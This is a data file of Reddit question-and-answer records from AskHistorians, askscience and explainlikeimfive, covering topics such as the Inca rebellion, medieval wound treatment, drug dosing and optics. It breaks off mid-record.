{"q_id": "1c7i3v", "title": "Can you give me the context on this video of Adolf Hitler making fun of Franklin Roosevelt", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1c7i3v/can_you_give_me_the_context_on_this_video_of/", "answers": {"a_id": ["c9dsucp"], "score": [8], "text": ["[This page explains it.](_URL_0_)\n\nBasically, [Roosevelt sent Hitler a letter](_URL_1_) in April 1939, after Germany had recently occupied Czechoslovakia (and annexed Austria in 1938) to ask him to please not invade any more countries, actually including the list that Hitler reads out to such comedic effect. The video is of a session in the Reichstag (the German Parliament)."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=9v4jNDnuXuU"], "answers_urls": [["http://ushistory4you.hubpages.com/hub/Hitlers-Threat", "http://www.ibiblio.org/pha/7-2-188/188-12.html"]]}
{"q_id": "4e2fm6", "title": "What brought about people hanging up photos of famous living people (Presidents, Generals) in their homes, and how widespread was this in the 50's-70's?", "selftext": "For example, households having photo portrait of JFK in their living rooms. I have also read of households in Japan having pictures of General MacArthur. But I'm wondering if there are other social reasons for this other than feeling a connection to the individual. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4e2fm6/what_brought_about_people_hanging_up_photos_of/", "answers": {"a_id": ["d1weqy9"], "score": [3], "text": ["I have a question too, how common was/is it to hang portraits of monarchs in households, and why? Most people don't hang portraits of presidents in their homes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "394rmy", "title": "Is boredom harmful for the mind?", "selftext": "I've tried searching online for answer to this question and come up with a bunch of conflicting reports (mostly by news sites which I don't really trust for scientific questions). Is the habitual boredom many of us experience from a 9-5 job harmful physically or mentally? Of course, most people also (hopefully) experience non-bored leisure time in between.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/394rmy/is_boredom_harmful_for_the_mind/", "answers": {"a_id": ["cs0me7k", "cs0nytu", "cs0ohay", "cs0ohhs", "cs0oii9", "cs0op9y", "cs0puuu", "cs0wyhb"], "score": [2, 23, 183, 21, 9, 3, 5, 3], "text": ["I know solitary confinement has a lot of health problems that come with it, is boredom a mild form of solitary confinement? ", "Just throwing this out there: the [wiki article on boredom](_URL_0_) has some information.\n\n > [R]esearch on boredom suggests that boredom is a major factor impacting diverse areas of a person's life. People ranked low on a boredom-proneness scale were found to have better performance in a wide variety of aspects of their lives, including career, education, and autonomy.[18] Boredom can be a symptom of clinical depression. Boredom can be a form of learned helplessness, a phenomenon closely related to depression. Some philosophies of parenting propose that if children are raised in an environment devoid of stimuli, and are not allowed or encouraged to interact with their environment, they will fail to develop the mental capacities to do so ... Boredom has been studied as being related to drug abuse among teens.[21] Boredom has been proposed as a cause of pathological gambling behavior. A study found results consistent with the hypothesis that pathological gamblers seek stimulation to avoid states of boredom and depression.[22]", "Boredom can be good or bad, depending on the individual. It turns out that there is constructive boredom (the kind you experienced as a little kid during summer breaks that led you to go outside and poke the mud with a stick), and there is destructive boredom, the kind that is so crippling that the individual becomes withdrawn and fearful. It really is about how you perceive it, and how you deal with it.\n\n* _URL_0_\n\n* _URL_2_\n\n* _URL_1_", "You gotta define your question better than that.\n\nAre you talking about the \"boredom\" of 43 years of solitary confinement? \n\nI believe it would require different test conditions to evaluate the damage of actual sensory and intellectual deprivation compared to the \"damage\" inflicted by a routine life where you go to work, pay bills, have kids and take vacations.\n\nIt's reasonable to hypothesize that one of those scenarios is more damaging than the other. \n\n\n", "I think [Vsauce](_URL_0_) did a pretty good job of explaining it.", "I think we need to make a conceptual distinction before we try to answer the question empirically. \n\nYou can be occupied with pleasant or unpleasant experiences that do not engage you mind intellectually yet prevent you from being bored. However, I can see how short-term boredom can sometimes encourage a person to introspectively reflect on their goals and can motivate them to pursue to intellectually-engaging activity. For example, many writers have been known to follow a routine where several hours a day are set aside for only writing. They do not allow themselves to pursue other pleasant activities, which are typically called \"distractions\" because they do not constructively aid their goals. When they sit down at the beginning of their daily writing period, sometimes they may feel motivated to begin writing immediately. However, on some days when they feel less motivated, it could be that adhering to their rule creates a kind of short-term boredom that encourages them to start writing.\n\nOn the other hand, long-term boredom may still harmful because you are simply not being intellectually stimulated for long periods of time. ", "Not a direct answer but maybe an angle to pursue:  there is a decent body of research on animal brain structure complexity as it relates to environmental complexity. E.g. brains of caged birds are noticeably less complex than the brains of wild birds of the same species. This is a big issue for zoos and the reason modern zoos place an emphasis on \"environmental enrichment\". You may find that low complexity environments correlate with boredom and find a linkage that way, but I don't know if anyone has explicitly set out to prove such a link in humans.\n\nBeyond that, boredom can be linked to sedentary lifestyle which links to poor health, but that isn't a hard correlation (you can be bored by exercise, or bored sitting on a couch).", "Does boredom affect neuroplasticity? I'd imagine people who live in \"complex\" places with lots of stimuli (some parts of some cities) have more opportunity for flexible neural pathway growth than those who are borderline sensory deprived in their daily life, and end up with inflexible brains which didn't adapt to changing stimuli as much."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Boredom#Causes_and_effects"], ["http://www.bbc.com/future/story/20141218-why-boredom-is-good-for-you", "http://www.healthguidance.org/entry/17142/1/The-Psychology-of-Boredom--Why-Your-Brain-Punishes-You-for-Being-Comfortable-and-Safe.html", "http://www.apa.org/monitor/2013/07-08/dull-moment.aspx"], [], ["https://www.youtube.com/watch?v=Qwd25JV-jnU"], [], [], []]}
{"q_id": "49eeo5", "title": "Why didn't Manco Inca attempt to split apart the alliance between the Native Auxiliaries and the Spanish Conquistadors?", "selftext": "It seems counter intuitive not to use diplomacy to break apart the alliances the Spanish had, they surely had more in common with the natives then the Spanish did.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/49eeo5/why_didnt_manco_inca_attempt_to_split_apart_the/", "answers": {"a_id": ["d0ri8kr"], "score": [10], "text": ["That's a great question! I hope you don't mind if I give a long answer? I apologize in advance to anyone who knows a lot about this: I'm going to go with names spelled as I remember them from the Spanish Chroniclers as much as possible, but I imagine I'm going to slip into an alternative from time to time as I am working from memory rather than having any one book open in front of me.\n\nFirst off, it's important to understand the events leading up to Manco Inca's rebellion. At about the time of his birth, a civil war swept through Tahuantinsuyu --the Four Quarters of the Earth, as the Inca called their empire-- as the area roughly equivalent to modern Ecuador attempted to secede from the Inca Empire. The Emperor Huayna Capac (Manco's father) took his adult sons and spent the rest of his life in the north fighting a long and bloody war of reconquest. His eventual success, unfortunately, was rendered moot when a wave of European epidemics struck the empire before anyone that far south ever saw a Spaniard. By some estimates, one in three fell sick and one in four died, including Huayna Capac and his heir Ninan Cuyuchi.\n\nA veteran army with battle-tested generals who had been living for many years in the north rallied to one of the eldest surviving princes, Atauhuallpa, who quickly drafted additional troops from the recently vanquished foe to swell his numbers. Meanwhile, the capital of Cuzco had been governed in Huayna Capac's absence by another prince named Huascar, and he promptly had himself named Emperor. A war between the brothers broke out, but the result was almost a foregone conclusion: Atauhuallpa had by far the better army and better commanders, and eventually his forces --although notably without him being present-- conquered Cuzco and captured Huascar and all the younger princes who had remained behind in the capital to grow up, including Manco Inca who was at that time in his late teens and considered an adult.\n\nAtauhuallpa was making his way to Cuzco for the Inca equivalent of an official Imperial coronation when Pizarro and his small band of conquistadors landed. Atauhuallpa was intrigued by these strangers, and he allowed them to make their way inland and meet him at a famous hot springs. In what has to be one of the most daring moments in human history, less than 200 conquistadors captured Atauhuallpa alive and unharmed while he was in the midst of several thousand of his unarmed retainers and as an army of tens of thousands camped nearby without losing a single man. They then proceeded to ransom Atauhuallpa for an enormous sum of gold and silver. Meanwhile, Atauhuallpa almost certainly ordered Huascar's murder to deny Pizarro the opportunity to mediate between the brothers and choose the next emperor.\n\nWith the ransom almost paid in full, the conquistadors were growing increasingly nervous that their luck would run out. Sending away the men most likely to object, Pizarro set up a kangaroo court and had Atauhuallpa executed. He then picked one of Atauhuallpa's brothers to be his new puppet emperor, but that non-entity was quickly poisoned. This is where Manco finally comes in.\n\nWith Huascar dead and Atauhuallpa at first confined and then also dead, the northern army garrisoning Cuzco no longer had orders to hold the young princes who had been on the wrong side of the war between the brothers, and Manco Inca was the winner of the race to declare his allegiance to Pizarro in exchange for some small measure of power. He escorted the conquistadors to Cuzco, and he then watched as they pillaged the capital of gold, silver, food, and women. We have a lengthy list of insults Manco Inca bore as the Spaniards' puppet, and one day he had enough.\n\nThis brings us to your question: Why did he not attempt to split apart the alliance between the Native Auxiliaries and the Spanish Conquistadors? Well, to an extent he did. He himself was one of their auxiliaries, after all, and every one of the men who answered his summons through the broken Imperial postal system was also standing in defiance of the new Spanish overlords. The trouble is, there just was not nearly enough of them. Now that we have the background, we can get into why that is.\n\nFirst, let us remember that the vast majority of the veteran fighting men were in the north throughout Manco Inca's life, first on both sides of the war of reconquest under Huayna Capac, and then under the command of Atauhuallpa, who had beaten the Cuzco-based Huascar to whom Manco Inca owed his loyalty. None of those men knew Manco Inca: He was a baby when the ones loyal to his father marched away, and he was a political non-entity on the wrong side of a civil war when they marched back. They owed him no allegiance. Besides, they were scattered under various generals after Atauhuallpa's execution, and each of those armies were running for their lives from both Spanish-led forces and the people they had been persecuting through two wars for almost two decades. The north was so lost to Manco that at one point the Chacapoyas --a powerful and militant tribe famed for providing soldiers to the Empire-- burned one of his messengers at the stake in the style of the Spaniards saying, \"Because the Bearded Ones are clearly never going to return to Castile but will always be here, we are all going to have become Christians. And since you Inca have always betrayed us, you are going to die.\"\n\nGiving up the northern quarter as a lost cause to the Inca, then, let's look at the southern quarter. Here we have better prospects, as the Spaniards had not done much in the large southern quarter of the Empire as of the time of Manco's rebellion. We even see some small hints of unrecorded diplomacy, as the Inca High Priest during the time of Manco's rebellion had the improbable name of Vilauma, which means Blood Drinker in one of the languages from the southern quarter of the Empire suggesting the position had been given to someone outside the Children of the Sun. Unfortunately, Manco did not have the time or the resources or the means of communication or the authority over the local administrators to demand a proper levy for most of the southern tribes' available troops, and an interesting argument has been made that the best men available --the warlike Colla and Lupaca, for instance-- had long since seen their male population sent north into one of the earlier conflicts. \n\nWith the north and south a mixed bag of bad news, we can turn to the western quarter. Here we see a lot of action, most notably in the siege of Lima. Unfortunately, the people of the coastal desert --the Hot Lands as the mountain men called them-- had always had a difficult relationship with their Inca overlords. This relatively untouched population was not eager to rise up on the Inca's behalf, and those who did were willing to be discouraged when the Spaniards did not collapse immediately. \n\nAnd so we turn to the eastern quarter of Tahuantinusu to find some good news for Manco: The few tribes of the Amazon rain forest who had ever bowed to the Children of the Sun did not abandon their masters when the world above in the high mountains started learning Spanish. When Manco's rebellion was defeated, he retreated into the jungles and set up a rump state there that survived until the time of his grandchildren.\n\nFor all that, I suppose your original question was directed at the men actively serving the Spaniards. Why did Manco not try to win them back? I would say it is a combination of everything I have already said, with one additional factor: The people who joined the Spaniards had been on either side of a series of wars in which they had no personal stake for so long that they only answered to their own immediate commanders in exchange for food, women, and a share of the booty. Alternatively, the non-veterans had been so brutalized by both sides of those civil wars that they viewed the Spaniards as at the very least no worse than the Inca, and quite possibly their salvation from the Inca. Manco Inca was a young man who almost no one knew until his was a Spanish puppet: Even assuming he could talk to the warlords who had joined the Spaniards, what could he possibly offer them that was better than what they already had?\n\nHe did his best, but it was not enough. I cannot imagine a scenario where Manco Inca could have led a successful rebellion against the Spaniards. The worst of the damage was done long before the Spaniards captured Atauhuallpa, and by the time Manco had any power at all, no one knew him or owed him anything, he had nothing to offer, and there was decades of bad blood against the Inca motivating people to pull the whole empire apart out of spite if nothing else.\n\nNow, having written all of that, I really do need to cite some sources I suppose. I hope anyone reading this far will not mind if I mention I've actually written a [historical novel](_URL_0_) about all this that has some decent reviews and seems to have found a following with people travelling in South America. To put that book together, I've read all of the primary sources that have been translated into English, as well as a lot of wonderful secondary sources. If you want to check my work against the primary sources, I believe it's worth mentioning that each one is based on interviews conducted many years after the events I have described with old men who were minor players on opposite sides of civil wars during the days of Huayna Capac and Atauhuallpa. Manco Inca took most of what was left of the Inca nobility with him into exile, so there are some clear conflicts based on understandable biases from one Spanish chronicler to the next. A few secondary sources who have collated these different accounts logically would be Hemming's The Conquest of the Inca, Prescott's History of the Conquest of Peru, and D'Altroy's The Incas. \n\nEDIT: Typos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Inca-Geoff-Micks-ebook/dp/B005FQSPBU/ref=sr_1_2?ie=UTF8&amp;qid=1457399331&amp;sr=8-2&amp;keywords=Inca"]]}
{"q_id": "5iy1qw", "title": "does taking a double dosage of something have the same effect as taking it twice a day? if so or if not, how?", "selftext": "For reference, I'm drinking spearmint tea to help with my PCOS symptoms and I was wondering if I should draw two teabags one time or take it twice daily. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5iy1qw/eli5_does_taking_a_double_dosage_of_something/", "answers": {"a_id": ["dbbth10", "dbbu9av", "dbc7exs", "dbc7mmn", "dbctt17"], "score": [10, 4, 2, 2, 2], "text": ["They'll have different effects.\n\nWhen you ingest something, the amount in your blood increases fairly quickly as it gets digested, then begins falling off as your liver/kidneys filter it out. But that filtering is sort of a proportional thing. Like, your liver will remove 15% of whats in your system every hour, say. So 15% in the first hour, 15% of the remaining 85% the second, etc.\n\nSo when you ingest more often in smaller doses, it means the amount in your system stays in a narrower range. Doubling up once a day means a lot right after you drink it, and almost none by the time you're due for more.", "The answer is usually no. But it depends on the time it takes to metabolize the drug. For example PRozac takes a very long time to metabolize so taking it twice a day or twice as much once a day is pretty much the same thing. For something that metabolizes quickly it's a big difference. With an herbal remedy like spearmint tea I have no idea. It depends on the active ingredients and how quickly the liver metabolizes them.   \n\n\n", "Think of it in terms of duration:\n\nTaking a 12-hour time-released pill at breakfast will cover your day and another 12-hour time-released pill at supper will cover your night. But taking two at once at breakfast will not cover 24 hours because both will run their course in 12 hours. The increased dose may make it last a bit longer but not 24 hours. And as Kitworks pointed out, your kidneys will quickly impact the double dose resulting in instant high with a big crash when they run out their designed course. \n\n", "Generally speaking, it depends on how short the half life is. If it's a very short half life then doubling up won't do much because it will be eliminated to a subtherapeutic concentration very quickly. The picture can vary because some drugs use 2nd order kinetics or have to be processed into active metabolites but as a rule-of-thumb it's all about how fast it gets eliminated.   \n\nWith regards to spearmint tea I suggest you stick with twice daily because some of the active compounds, such as menthol and polyphenols, have short half lives.  That will generally be the case with teas.   ", "I'm a biologist and I appreciate all of the other comments (they're true). I figured I'd throw in a quick, simple explanation for people who want it straight to the point:  \nYou take 1 shot of whiskey every hour for 6 hours. You take 6 shots of whiskey all at once. There are two different outcomes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "88ecxm", "title": "Why does damping reduce resonant frequencies?", "selftext": "When an object is subject to damping, the most resonant frequency is given by the formula f=SQRT(k/m - b^2/4m^2). This results in an objects resonant frequency getting progressively lower as damping increases.\n\nWhy does this occur?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/88ecxm/why_does_damping_reduce_resonant_frequencies/", "answers": {"a_id": ["dwk2xt9", "dwkz2e7"], "score": [2, 2], "text": ["When you solve the differential equation for the damped oscillator that's what you get. There's no reason why the damped equation should give the same frequency as the undamped.\n\n_URL_0_", "Why does the frequency decrease? In wave physics, frequency is related to the energy of a wave. The higher the frequency, the more energy. For example UV light has a higher frequency than visible light, which is why it can damage DNA.\n\nSo when you damp a system, you're removing energy. This means that frequency is likely to go down. \n\nAnother way to think about it is your wave is moving back and forth at some rate, but the damping is slowing down the wave. So the wave can't move back and forth as quickly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://farside.ph.utexas.edu/teaching/315/Waves/node10.html"], []]}
{"q_id": "4zjgse", "title": "Suppose I live in 1116 and I cut my hand and get an infection. How much bearing (if any) does where I live on Earth, have on my chances of survival?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4zjgse/suppose_i_live_in_1116_and_i_cut_my_hand_and_get/", "answers": {"a_id": ["d6widch", "d6wzblg"], "score": [698, 18], "text": ["*First a caveat: This is not my primary area of expertise but I have some legitimate experience studying this topic in the past. As such I strongly urge you to consult other actual authorities on the matter and I hope a medieval medical scholar may be able to answer your question in greater depth. I also am not terribly familiar with contemporary Jewish physicians from this period so I apologize for that lacuna. I will leave that hopefully for someone else to address.*\n\nThere were numerous methods of treating open wounds in the medieval world but some particular approaches come up quite frequently. There is a long history of treating cuts with honey and/or wine stretching back to Galen and Roman antiquity. This practice endured in the Greek East following the collapse of the Roman empire in the Latin West and can be seen in the writings of seventh century writers like Paul of Aegina. Peter E. Pormann, *The Oriental Tradition of Paul of Aegina's Pragmateia* (Leiden: Brill, 2004), 302. \n\nPaul of Aegina's work was very influential on later Arab physicians, and in particular the famous Arab scholar Al-Zahrawi. This great early surgeon, also known as Albucasis, drew extensively from Paul's work and created new techniques during the tenth century in Al-Andalus. Like Paul, and indeed so many other early proponents, he emphasized the use of wine and also rose water in the healing of open lacerations in order to clean the wound and prevent infections. Albucasis, *On Surgery and Instruments: A Definitive Edition of the Arabic Text of Albucasis with English Translation* ed. and trans. M.S. Spink and G.L. Lewis (London : The Wellcome Institute of the History of Medicine, 1973), 698-710. He was a great advocate for the use of cautery and the work cited above contains some extensive commentary on his thoughts on potential uses. \n\nCauterization was hugely important for more significant and life-threatening wounds, and in the performing of amputations during war. Cautery could help to prevent the exsanguination of the victim, although internal bleeding could continue depending upon the extent of the wound. Amputations were also massively traumatic, both physically and psychologically, so physicians were often hesitant to choose this line of treatment unless they had no other recourse. Infections as a *result* of cautery were also a distinct possibility.\n\nThe use of vinegar was also common, either in addition to or instead of wine, and was recognized by Paul of Aegina for its efficacy. Richard D. Forrest, \"Early History of Wound Treatment\" *Journal of the Royal Society of Medicine* 75/3 (1982), 198-205. \n\nAl-Zahrawi's work was subsequently translated into Latin by Christian scholars such as Gerard of Cremona in the twelfth century and his ideas subsequently came to influence the trajectory of Western medicine and surgical techniques.  \n\nIain A. MacInnes has studied the history of later medieval medicine and has demonstrated the popularity of these techniques in later centuries. He has observed that physicians continued to use wine and honey as antibacterial agents in the Latin West in the thirteenth and fourteenth centuries and that these remedies were important during times of war. \"Head, Shoulders, Knees and Toes: Injury and Death in Anglo-Scottish Combat, c. 1296-1403\" in *Wounds and Wound Repair in Medieval Culture* ed. Larissa Taylor and Kelly Devries (Leiden: Brill, 2015), 125. Wine in particular was a useful solution to common wounds given it was readily available and easy to apply quickly. One did not need to travel far to procure it and could consequently bind the wound more rapidly. \n\nGiven your question hinges on geography in 1116 it is important to note that some important questions would not really change. If you were to suffer a laceration on your hand the first question is how close are you to a physician, what is your means of transport, and are you ambulatory? These are fairly fundamental questions no matter where on Earth you happen to be located. However if you had ready access to a physician in 1116 chances are you would want to be located in Muslim Spain where treatments of this kind were commonly circulated amongst the Arab intelligentsia and medical professionals, and their methods had scientifically proven efficacy in treating open wounds. \nYou would be well served by Byzantine physicians who were incredibly sophisticated for their time and similarly benefitted from a rich inheritance of Greek and Roman medical scholarship. Sicily would also be a good bet given the numbers of Arab and Greek scholars and physicians who frequented the island throughout the eleventh and twelfth century. Finally Italy would likely offer some good options given the number of scholars and physicians entering the Latin West through the growing nexus of trade generated by the Italian states. If you were located elsewhere in Western Europe, were not noble or royal, and had no access to a court physician privy to these new advancements in medical science the situation could be more complicated although that is not to suggest that other local remedies may not have had some efficacy.\n\nI hope this somewhat answers your question and I yield to other historians here from whom this subject is their primary expertise.   ", "Any reason why the comments all assume Europe as the location?  People must have cut themselves in Africa, the Americas, the South Pacific, etc in 1116 too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9oj9hn", "title": "Can people intentionally change the course of a meandering river to gain more land on their side?", "selftext": "Let's say that you're the Governor of Arkansas and you'd like more land for your state. Is there anything you can do with the Mississippi River to get it to slowly creep East, giving you more land? (asking for a friend) ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9oj9hn/can_people_intentionally_change_the_course_of_a/", "answers": {"a_id": ["e7woqdy", "e7wrzc1", "e7x7sml"], "score": [2, 2, 2], "text": ["They already have with the Mississippi River. That\u2019s what built a large part of lower Louisiana was the river overflowing it\u2019s banks and slowly building up land.\n\nIt\u2019s course was altered decades ago and a spillway was added to stop the flooding of lower lying parishes and towns.\n\nBut it\u2019s also led a large scale erosion event here.\n\nSince the marsh/wetlands are no longer being replenished like they used to, the land is disappearing right underneath us.", "No. As a matter of fact nebraska gained some land from South Dakota and Iowa 10-20 years ago. It turns out that when the Missouri River was channelled and the last dam built in the 50's, Nebraska lost land and had a lawsuit to get it back. The Winnebago Indian Reservation regained land in Iowa too.", "I don't know about it changing course directly, but I think the Rhine in the Netherlands was partially dug out to become more straight. It is basically like digging a large canal through the meanders and then walling the meanders off. This was mostly done for easier ship transport though, and not directly for more land."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "22dl95", "title": "Some species produce defensive adaptations that make them look similar to other more dangerous species. Are there any species that have evolved traits reminiscent of humans?", "selftext": "Probably a stupid question, and I really didn't word it too well, so here's what I'm getting at: The [milk snake](_URL_1_) evolved to look similar to the much more dangerous [coral snake](_URL_0_). Are there any examples of species evolving traits that resemble humans to some degree?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22dl95/some_species_produce_defensive_adaptations_that/", "answers": {"a_id": ["cgltlsi", "cgm2sxi", "cgmb6hl"], "score": [23, 3, 5], "text": ["Generally, these defensive adaptations are because the mean predator and the mimicker are similar animals: flies - >  wasp, bird - >  hawk, or snake - >  venomous snake. They also need to live in the same habitat.\n\nThere are few species that share the similar body characteristics than us. Furthermore, the only reason humans are \"scary\" is because we lived in packs. A human alone by itself is rather weak when compared to whatever else lurks in the savannah. So mimicking a human isn't really a good idea.", "What you're referring to is known as [Batesian mimicry](_URL_0_). \n\nThe answer is no. We haven't really been a 'dangerous' species long enough, among many other reasons.\n\n/u/Return-to-sender- mentioned birds. Mimicking is a learned behavior, but the ability to do so is an evolved one. Even if a bird did learn that mimicking human noises scares predators away, it doesn't mean that ability evolved because of that. It would be more of a happy by-product, as apposed to the result of. \n\n\n\n\n", "No, but there certainly are examples of Batesian mimicry *within* humanity!\n\nThe most obvious is the progression of tattoos - in 20th century culture tattoos used to be the sole preserve of really dangerous characters - the prison system and maritime/dockworkers being the famous ones. If you saw a guy covered in tattoos he was almost certainly Very Bad News.\n\nHowever, because *looking* dangerous is almost as useful as *being* dangerous, tattooing gradually filtered into more and more mainstream circles of society, to the point where even boybands were tattooed.\n\nCertainly, to begin with people still shied away from anyone with a \"tribal\" sleeve, but now the tattooing ecosystem has moved on - the Very Dangerous Men have moved on to more extreme (eg. facial) or specific (eg. Nazi iconography) signals to advertise their threatening presence."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Coral_snake", "http://en.wikipedia.org/wiki/Milk_snake"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Batesian_mimicry"], []]}
{"q_id": "o3rb2", "title": "Time cloak: how does it work?", "selftext": "I just saw this article (_URL_0_) on the front page. In terms that someone who understands at least the basic principles of relativity, quantum mechanics, etc. can understand, how does this work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o3rb2/time_cloak_how_does_it_work/", "answers": {"a_id": ["c3e4o3a", "c3e4p39"], "score": [18, 3], "text": ["It's a fascinatingly simple idea. \n\nA light pulse has a certain bandwidth (i.e. it contains a bunch of different frequencies), which is larger the shorter the pulse is. \n\nIn this time-cloaking experiment, they \"pull apart\" this light pulse by accelerating the blue part of the spectrum and slowing down the red part of it, creating a spectral hole in the middle. This can be achieved by cleverly engineering an optical material's dispersion curve, i.e. the frequency-dependent refractive index experienced by the light pulse. \n\nNow that you have that spectral hole, you can put an event inside which is now \"cloaked\" (not really, but ok). Put the pulse together afterwards by reversing the initial dispersion and it will now look like that event in the middle never happened, the light pulse comes out exactly like it went in.\n\nIf you want more technical details, let me know.", "All due respect to PhysOrg... but it's a sensationalist bullshit title.\n\n\"The fibre-based system steers light \u2018around\u2019 an event so that no evidence (a change in the temporal or spectral properties of the light beam) of the event is detectable, by speeding up and slowing down different parts of a light beam.\"\n\nThe illusion works purely on manipulating the flow of light. There's no dimensional rift, there's no erasing of time. It's about perception, not [time warps](_URL_1_).\n\nBecause fiber optics can carry multiple frequencies of light on the same physical medium, you can [split red and blue light streams with a special lens](_URL_0_). This means they'll hit an observer's eye at different times. So after they parse it, if you look at a rainbow, ROYGBIV, light at the red end of the spectrum is 'heavier', it moves more slowly. At the blue end it's 'lighter', it moves more quickly. Now they can cancel the OYG portion. They're making those beams hit your eye (or in this case, a detection grid) out of synch. So instead the red stream will get confused with other background events going on at the time, etc.\n\nIt's optical. The only reason time is mentioned is because there's a speed difference between the light frequencies."]}, "title_urls": [], "selftext_urls": ["http://www.physorg.com/news/2012-01-pentagon-backed-cloak-clock.html"], "answers_urls": [[], ["http://www.nature.com/nature/journal/v481/n7379/carousel/nature10695-f2.2.jpg", "http://www.rockyhorror.com/participation/timewarp.php"]]}
{"q_id": "719k6a", "title": "How many layers are there in a modern integrated circuit?", "selftext": "I'm getting how the raster dictates density of elements in IC in the horizontal plane over the wafer. But as I understand, there's the third dimension - so far mostly untapped because of heat dissipation necessity; the bit of wafer in a CPU is a rather flat square, not a cube. Still, if my understanding is correct, there's more than a single layer of the components on the wafer, they are stacked to a degree. How many layers though? And how thick such a layer is?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/719k6a/how_many_layers_are_there_in_a_modern_integrated/", "answers": {"a_id": ["dn94vcq"], "score": [20], "text": ["Depends on the process, of course. The current state of the art is somewhere around a 14nm process with 13 layers.\n\nAlso, flash memory makers do \"die stacking\" where they take flash chips and physically stack them on top of each other, adding tiny wire interconnects later. They might do 16, 32, or more dies stacked on top of each other. That's one way the been able to achieve the ssd densities we have today."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "lqvto", "title": "what are sociotechnical systems?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lqvto/eli5_what_are_sociotechnical_systems/", "answers": {"a_id": ["c2uvtwe", "c2uvtwe"], "score": [5, 5], "text": ["Basically networks of humans and non-humans. How humans interact with non-humans (technology) and how technology inscribes relations onto humans.  We have a commonplace assumption that humans are \"in charge\" and in control of technology, and that they are just extensions of ourselves.  Sociotechnical networks attempt to level the playing field out a bit, by showing how technologies inscribe particular ways of being and acting on humans, basically showing how the relationship between humans and non-humans is much more complex and dynamic than we might think.  Its a theoretical approach to science and technology studies influenced by social constructionism and actor-network theory.  \n\nA good place to start, but there's tons of great reads out there on this: Pinch, T. and Bijker, W. 1984. \"The social construction of facts and artefacts: Or how the sociology of science and the sociology of technology might benefit each other.\" Social studies of Science 14(3): 399-441.\n", "Basically networks of humans and non-humans. How humans interact with non-humans (technology) and how technology inscribes relations onto humans.  We have a commonplace assumption that humans are \"in charge\" and in control of technology, and that they are just extensions of ourselves.  Sociotechnical networks attempt to level the playing field out a bit, by showing how technologies inscribe particular ways of being and acting on humans, basically showing how the relationship between humans and non-humans is much more complex and dynamic than we might think.  Its a theoretical approach to science and technology studies influenced by social constructionism and actor-network theory.  \n\nA good place to start, but there's tons of great reads out there on this: Pinch, T. and Bijker, W. 1984. \"The social construction of facts and artefacts: Or how the sociology of science and the sociology of technology might benefit each other.\" Social studies of Science 14(3): 399-441.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "z0na9", "title": "I wear glasses. Why did the optometrist not give me super vision? ", "selftext": "The other day I was sitting at the traffic department to have my drivers license renewed. Part of the renewal process requires me to have an eye test. I wear glasses and was tested both with, and without, my glasses on. Without my glasses I failed the test, but with my glasses on I tested as having 6/6 (or 20/20) vision.\n\nLater I wondered what these numbers meant so I read up a little on the internet and discovered that there are a great many people who have vision significantly better than 20/20 visual acuity. For example [Chuck Yeager](_URL_0_) apparently used to have a remarkable 20/10 vision.\n\nSo my question is, why did my optometrist issue me with glasses that only gave me 20/20 vision. Why not better? Why can't I have super vision?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z0na9/i_wear_glasses_why_did_the_optometrist_not_give/", "answers": {"a_id": ["c60gmaw", "c60gy2i", "c60hkro", "c60hlib", "c60ho04", "c60hon2", "c60hpv0", "c60iba4", "c60ivvn", "c60ja9m", "c60jfoy", "c60jq42", "c60k200", "c60kgdi", "c60oaga", "c60pik8", "c60pn16", "c60s4fs", "c60udw1"], "score": [861, 147, 7, 47, 36, 97, 2, 3, 6, 4, 11, 6, 10, 2, 3, 5, 4, 3, 2], "text": ["The best your optometrist can do is to make sure the image on your retina is perfect. That's why they correct the geometrical defects of your eye. But there can remain some imperfections: shape of the cornea, size of the eye, shape of the retina, etc. And it doesn't change the \"resolution\" of your retina (how many photoreceptor cells you have).\n\nBuying an expensive objective won't make your camera perfect (but it can help).", "There are more factors than lens correction. It doesn't matter how well you fine tune the lens, the best some people can get is 20/20, sometimes not even that. The human retina contains around 125 million photoreceptor cells (_URL_0_). The fovea (middle of the retina) is responsible for best visual acuity. Some people can have a more detailed retina (comprising of more photoreceptor cells than average). Distribution of these cells can also vary. \n\nPhototransduction is a process where these cells change to light and stimulate the nervous system. Then you go into processes that the brain goes through before you become consciously aware of the image and interpret it. All of these processes have a resulting effect on overall vision. In short, not everyone is capable of seeing 20/10.", "Lenses only come in 1/4 powers so they will never be a perfect fit, most people will fall in between. Your eyes might be perfect at 4.39 correction but you have to chooce between 4.25 and 4.5\n\nedit: a letter, and removed personal anecdote", "First of all, the 